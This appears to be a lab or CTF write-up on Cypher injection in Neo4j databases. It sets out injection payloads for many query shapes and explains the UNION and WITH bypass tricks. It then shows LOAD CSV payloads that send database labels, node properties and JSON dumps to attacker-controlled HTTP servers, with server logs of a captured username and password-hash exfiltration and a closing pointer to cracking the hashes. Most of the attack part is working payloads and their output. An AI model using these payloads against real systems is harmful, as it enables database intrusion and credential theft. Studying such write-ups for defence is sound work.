Neo4j Exfiltrate data ,Injection
Injections
How to inject
Injectable query Injection Macth (o) where o.Id='{input}' 'OR 1=1 with 0 as _l00 {...} RETURN 1 // MATCH (o) wehre '{input}' = o.Id '=' {...} with 0 as _l00 return 1 // MATCH (o) where {input} in [different,values] MATCH (o) where o:{input} a {...} with 0 as _l00 return 1 // MATCH (o) where o:`{input}` a` {...} with 0 as _l00 return 1 // MATCH (o {id:'{input}'}) '}) return 1 union match (n) {...} return 1 // MATCH (o:{input}) a) return 1 union match (n) {...} return 1 // MATCH (o:`{input}`) a`) return 1 union match (n) {...} return 1 // MATCH (o)-[r {id:'{input}'}]-(o2) '}]-() return 1 union match (n) {...} return 1 // MATCH (o)-[r:{input}]-(o2) a]-() return 1 union match (n) {...} return 1 // MATCH (o)-[r:`{input}`]-(o2) a`]-() return 1 union match (n) {...} return 1 //
Note the UNION statement:
1.The reason UNION is required is that if the MATCH statement doesn't return anything,the rest of the query won't run.So all the nefarious things we might do there will simply not execute.
2. We add "RETURN 1" before the UNION so both parts return the same columns,which is required for the query to execute.
Note the WITH statement:
1.Using WITH ,we can drop all existing variables.This is important when we don't know what the query is (more on that later).If our payload accidentally tries to set a variables that already exists,the query will fail to run.
2.If we know the query and the database,none of these techiniques are required.We can even manipulate the returned data to in turn manipulate the process instead of just abusing the server.
Post exploitation
HTTP LOAD CSV
LOAD CSV is a built-in statement that can be used to exfiltrate data.
Load CSV tries to load a csv either from the filesystem or from the web.
Usually,an attacker can use the web functionality to exfiltrate data,If the vulnerable query is :
MATCH (o) where o.Id='{input}' return o
then the attacker can inject the following strings:
' or 1=1 With 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker's ip/'
name as _l return 1 //
This will send all the installed procedures in the database to the attacker's server.
Extracting data from neo4j
There are many built-in and APOC funcions that can help us get information about the database.
Get labels
Using the built-in method db.labels,it is possible to list all existing labels.
Arguments:None
Injection example:
'}) return 0 as _0 union call db.labels() yield label laod csv from 'http://attacker'sip/?l='
+ label as 1 return 0 as _0
Get the properties of a node and their values
The built-in function keys can be used to list the keys of the properties.
Arguments:
A node or a map
Its possible to retrieve the value of a propety from the node if you treat it as a map:n[key],
so we can use load csv to exfiltrate the data.Be sure to use toString.
Injection example
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // ' or 1=1 with 1 as a match (f:Flag) unwind keys(f) as p load csv from 'http://ip/?'+p+'='+toString(f[p]) as l return 0 as _0 //
Tips:This won't work if one of the fields is a list or a map.
If APOC is avaiable,there's better way to do it using apoc.convert.toJson.
' or 1=1 with 0 as _0 match (n) load csv from 'http://ip/?' + apoc.convert.toJson(n) as l return 0 as _0 //
return value:
String--the JSON representation of the input
'}) return 0 as _0 union match (f:Flag) load csv from 'http://ip:port/?json='+apoc.convert.toJson(f) as 1 return 0 as _0 //
Actual attack
' or 1=1 with 1 as a call db.labels() yield label load csv from 'http://10.10.14.16/?label='+label as l return 0 as _0 //
It will return the following information to our python server:
$sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.210 - - [25/Aug/2023 13:26:19] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:19] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:19] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:19] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:19] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:19] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:19] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:20] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:20] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:26:20] "GET /?label=employee HTTP/1.1" 200
Retrieve the values of the keys for 'users'.Here is our payload:
' or 1=1 with 1 as a match (f:user) unwind keys(f) as p load csv from 'http://10.10.14.16/?'+p+'='+toString(f[p]) as l return 0 as _0 //
This returns the following:
0.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?username=john HTTP/1.1" 200 -
Using john or hashcat to crack these two password.